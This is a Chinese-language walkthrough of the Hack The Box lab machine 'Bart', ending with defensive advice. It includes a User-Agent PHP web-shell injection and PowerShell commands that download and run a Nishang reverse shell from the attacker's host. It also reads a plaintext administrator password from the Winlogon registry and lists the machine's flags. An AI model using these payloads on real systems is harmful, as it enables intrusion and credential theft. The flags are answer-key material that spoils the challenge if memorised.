[Meachines] [Medium] Bart Server Monitor+Internal Chat+UA投毒+Winlogon用户密码泄露权限提升
字数 997 2025-08-20 18:18:11
Bart 服务器渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
nmap -p- 10.10.10.81 --min-rate 1000 -sC -sV
发现服务:
- 80/tcp: Microsoft IIS httpd 10.0
- HTTP重定向到: http://forum.bart.htb/
1.2 主机文件配置
echo '10.10.10.81 bart.htb forum.bart.htb' >> /etc/hosts
echo '10.10.10.81 monitor.bart.htb' >> /etc/hosts
echo '10.10.10.81 internal-01.bart.htb' >> /etc/hosts
1.3 目录爆破
feroxbuster --url http://bart.htb/
1.4 密码收集
使用cewl生成密码字典:
cewl -w password.txt -e -a http://forum.bart.htb
发现凭据:
- 用户名: harvey
- 密码: potter
2. 内部聊天系统渗透
2.1 发现内部聊天系统
访问: http://internal-01.bart.htb/simple_chat/login_form.php
2.2 注册新用户
curl -d "uname=maptnh&passwd=WHOAMI123" -X POST http://internal-01.bart.htb/simple_chat/register.php
3. UA投毒漏洞利用
3.1 发现日志系统
访问: http://internal-01.bart.htb/log/log.txt
3.2 利用User-Agent注入PHP代码
发送以下HTTP请求:
GET /log/log.php?filename=rev.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php system($_GET[1]);phpinfo(); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=t42g449reqtl5lgqhfachmr632
Upgrade-Insecure-Requests: 1
3.3 验证Web Shell
访问: http://internal-01.bart.htb/log/rev.php
4. 反向Shell获取
4.1 使用PowerShell反向Shell
准备Invoke-PowerShellTcp.ps1脚本(来自Nishang项目)
4.2 执行反向Shell
通过Web Shell执行:
powershell -Command "iex (New-Object Net.WebClient).DownloadString('http://10.10.16.17/Invoke-PowerShellTcp.ps1')"
或直接通过URL参数执行:
http://internal-01.bart.htb/log/rev.php?1=powershell%20-Command%20%22iex%20(New-Object%20Net.WebClient).DownloadString(%27http://10.10.16.17/Invoke-PowerShellTcp.ps1%27)%22
5. 权限提升
5.1 发现Winlogon凭据
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
输出:
DefaultDomainName REG_SZ DESKTOP-7I3S68E
DefaultUserName REG_SZ Administrator
DefaultPassword REG_SZ 3130438f31186fbaf962f407711faddb
5.2 使用凭据获取管理员权限
$username = "BART\Administrator"
$password = "3130438f31186fbaf962f407711faddb"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.16.17/Invoke-PowerShellTcp.ps1') } -Credential $cred -Computer localhost
6. 获取Flag
- User.txt: 586a8d51938faf4c7933bf01a3d133bd
- Root.txt: 4dd674244719d9ba4c64e8f550c7f2d2
关键知识点总结
- 子域名枚举: 通过添加hosts文件发现多个子域名
- 密码生成: 使用cewl从网页内容生成密码字典
- UA投毒: 通过User-Agent头注入PHP代码实现RCE
- Winlogon凭据泄露: 注册表中存储的管理员凭据是常见提权路径
- PowerShell反向Shell: 使用Nishang脚本建立交互式会话
- PSCredential对象: 安全地使用凭据进行认证
防御建议
- 禁用或保护日志系统的写入功能
- 避免在注册表中存储明文凭据
- 实施严格的输入验证,特别是对User-Agent等HTTP头
- 限制服务器上的PHP函数执行能力
- 定期审计系统配置和权限设置